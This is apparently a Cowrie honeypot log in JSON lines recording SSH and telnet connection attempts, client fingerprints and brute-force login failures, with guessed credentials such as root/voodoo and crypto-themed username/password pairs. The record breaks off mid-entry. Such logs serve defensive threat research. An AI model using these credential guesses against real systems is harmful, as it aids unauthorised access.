{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:54:59.906636Z","src_ip":"143.20.185.207","session":"a55bbef38405","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"XYZZ8VCPU32GBAMD","message":"login attempt [root/XYZZ8VCPU32GBAMD] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:55:00.301129Z","src_ip":"143.20.185.207","session":"a55bbef38405","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:55:01.440635Z","src_ip":"143.20.185.207","session":"a55bbef38405","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":47878,"dst_ip":"159.203.135.109","dst_port":23,"session":"02c14937f679","protocol":"telnet","message":"New connection: 107.6.151.170:47878 (159.203.135.109:23) [session: 02c14937f679]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:55:02.001805Z"}
{"eventid":"cowrie.session.connect","src_ip":"107.6.151.170","src_port":56012,"dst_ip":"159.203.135.109","dst_port":23,"session":"81155d1bc514","protocol":"telnet","message":"New connection: 107.6.151.170:56012 (159.203.135.109:23) [session: 81155d1bc514]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:55:05.018034Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":59858,"dst_ip":"159.203.135.109","dst_port":23,"session":"23d1b75076ae","protocol":"telnet","message":"New connection: 170.64.224.25:59858 (159.203.135.109:23) [session: 23d1b75076ae]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:55:10.372002Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":59872,"dst_ip":"159.203.135.109","dst_port":23,"session":"4c5016a512d0","protocol":"telnet","message":"New connection: 170.64.224.25:59872 (159.203.135.109:23) [session: 4c5016a512d0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:55:13.353058Z"}
{"eventid":"cowrie.session.connect","src_ip":"180.247.63.92","src_port":18903,"dst_ip":"10.17.0.5","dst_port":22,"session":"75edd95bb2c8","protocol":"ssh","message":"New connection: 180.247.63.92:18903 (10.17.0.5:22) [session: 75edd95bb2c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:55:15.907754Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:55:15.914135Z","src_ip":"180.247.63.92","session":"75edd95bb2c8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:55:16.174097Z","src_ip":"180.247.63.92","session":"75edd95bb2c8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"voodoo","message":"login attempt [root/voodoo] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:55:17.217825Z","src_ip":"180.247.63.92","session":"75edd95bb2c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:55:18.484783Z","src_ip":"180.247.63.92","session":"75edd95bb2c8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":59.72501063346863,"message":"Connection lost after 59 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:55:24.071841Z","src_ip":"170.64.224.25","session":"4d9b570c2d52","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":32.34940028190613,"message":"Connection lost after 32 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:55:25.499612Z","src_ip":"107.150.146.69","session":"3c36992435e9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":48852,"dst_ip":"159.203.135.109","dst_port":23,"session":"e6d167d77a67","protocol":"telnet","message":"New connection: 170.64.224.25:48852 (159.203.135.109:23) [session: e6d167d77a67]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:55:35.830019Z"}
{"eventid":"cowrie.session.closed","duration":34.93515920639038,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:55:36.936822Z","src_ip":"107.6.151.170","session":"02c14937f679","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.169.180.166","src_port":43408,"dst_ip":"159.203.135.109","dst_port":22,"session":"e3b886f0f538","protocol":"ssh","message":"New connection: 192.169.180.166:43408 (159.203.135.109:22) [session: e3b886f0f538]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:55:40.053355Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:55:40.058937Z","src_ip":"192.169.180.166","session":"e3b886f0f538","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:55:40.124341Z","src_ip":"192.169.180.166","session":"e3b886f0f538","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin!@","message":"login attempt [root/admin!@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:55:40.321148Z","src_ip":"192.169.180.166","session":"e3b886f0f538","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.3","message":"Connection lost after 1.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:55:41.388694Z","src_ip":"192.169.180.166","session":"e3b886f0f538","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"144.91.108.61","src_port":54870,"dst_ip":"10.17.0.5","dst_port":22,"session":"0eaadfc02577","protocol":"ssh","message":"New connection: 144.91.108.61:54870 (10.17.0.5:22) [session: 0eaadfc02577]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:55:43.423647Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:55:43.427787Z","src_ip":"144.91.108.61","session":"0eaadfc02577","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:55:43.525353Z","src_ip":"144.91.108.61","session":"0eaadfc02577","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"belgium","password":"Brussels#Ethereum$P@ss","message":"login attempt [belgium/Brussels#Ethereum$P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:55:43.807107Z","src_ip":"144.91.108.61","session":"0eaadfc02577","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:55:44.907120Z","src_ip":"144.91.108.61","session":"0eaadfc02577","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"91.92.40.4","src_port":33270,"dst_ip":"10.17.0.5","dst_port":22,"session":"084550dbe4ee","protocol":"ssh","message":"New connection: 91.92.40.4:33270 (10.17.0.5:22) [session: 084550dbe4ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:55:47.614913Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:55:47.619433Z","src_ip":"91.92.40.4","session":"084550dbe4ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"2ec37a7cc8daf20b10e1ad6221061ca5","hasshAlgorithms":"curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group16-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-ctr,aes192-ctr,aes256-ctr,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,arcfour256,arcfour128,arcfour,3des-cbc,aes128-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group16-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-rsa","rsa-sha2-256","rsa-sha2-512","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","arcfour256","arcfour128","arcfour","3des-cbc","aes128-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 2ec37a7cc8daf20b10e1ad6221061ca5","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:55:47.713405Z","src_ip":"91.92.40.4","session":"084550dbe4ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"321","message":"login attempt [root/321] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:55:48.224715Z","src_ip":"91.92.40.4","session":"084550dbe4ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:55:49.320947Z","src_ip":"91.92.40.4","session":"084550dbe4ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"203.121.40.210","src_port":39522,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c9dd09b21dd","protocol":"ssh","message":"New connection: 203.121.40.210:39522 (159.203.135.109:22) [session: 3c9dd09b21dd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:56:08.695327Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:56:08.700513Z","src_ip":"203.121.40.210","session":"3c9dd09b21dd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:56:09.040746Z","src_ip":"203.121.40.210","session":"3c9dd09b21dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":60536,"dst_ip":"159.203.135.109","dst_port":23,"session":"252cadb171f3","protocol":"telnet","message":"New connection: 170.64.224.25:60536 (159.203.135.109:23) [session: 252cadb171f3]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:56:09.206346Z"}
{"eventid":"cowrie.session.connect","src_ip":"170.64.224.25","src_port":60552,"dst_ip":"159.203.135.109","dst_port":23,"session":"3e00b3a98239","protocol":"telnet","message":"New connection: 170.64.224.25:60552 (159.203.135.109:23) [session: 3e00b3a98239]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:56:09.237920Z"}
{"eventid":"cowrie.session.closed","duration":34.62977075576782,"message":"Connection lost after 34 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:56:10.459667Z","src_ip":"170.64.224.25","session":"e6d167d77a67","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"root","password":"a1234567@","message":"login attempt [root/a1234567@] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:56:11.104869Z","src_ip":"203.121.40.210","session":"3c9dd09b21dd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:56:12.346559Z","src_ip":"203.121.40.210","session":"3c9dd09b21dd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"66.29.142.197","src_port":35056,"dst_ip":"10.17.0.5","dst_port":22,"session":"f8e3019b121b","protocol":"ssh","message":"New connection: 66.29.142.197:35056 (10.17.0.5:22) [session: f8e3019b121b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:56:19.337379Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:56:19.341553Z","src_ip":"66.29.142.197","session":"f8e3019b121b","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:56:19.412278Z","src_ip":"66.29.142.197","session":"f8e3019b121b","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"barbados","password":"Bridgetown#Crypto@P@ss","message":"login attempt [barbados/Bridgetown#Crypto@P@ss] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:56:19.628656Z","src_ip":"66.29.142.197","session":"f8e3019b121b","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:56:20.702560Z","src_ip":"66.29.142.197","session":"f8e3019b121b","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"85.215.121.209","src_port":36842,"dst_ip":"10.17.0.5","dst_port":22,"session":"a30f518951ce","protocol":"ssh","message":"New connection: 85.215.121.209:36842 (10.17.0.5:22) [session: a30f518951ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:56:22.409564Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-07-04T01:56:22.413202Z","src_ip":"85.215.121.209","session":"a30f518951ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp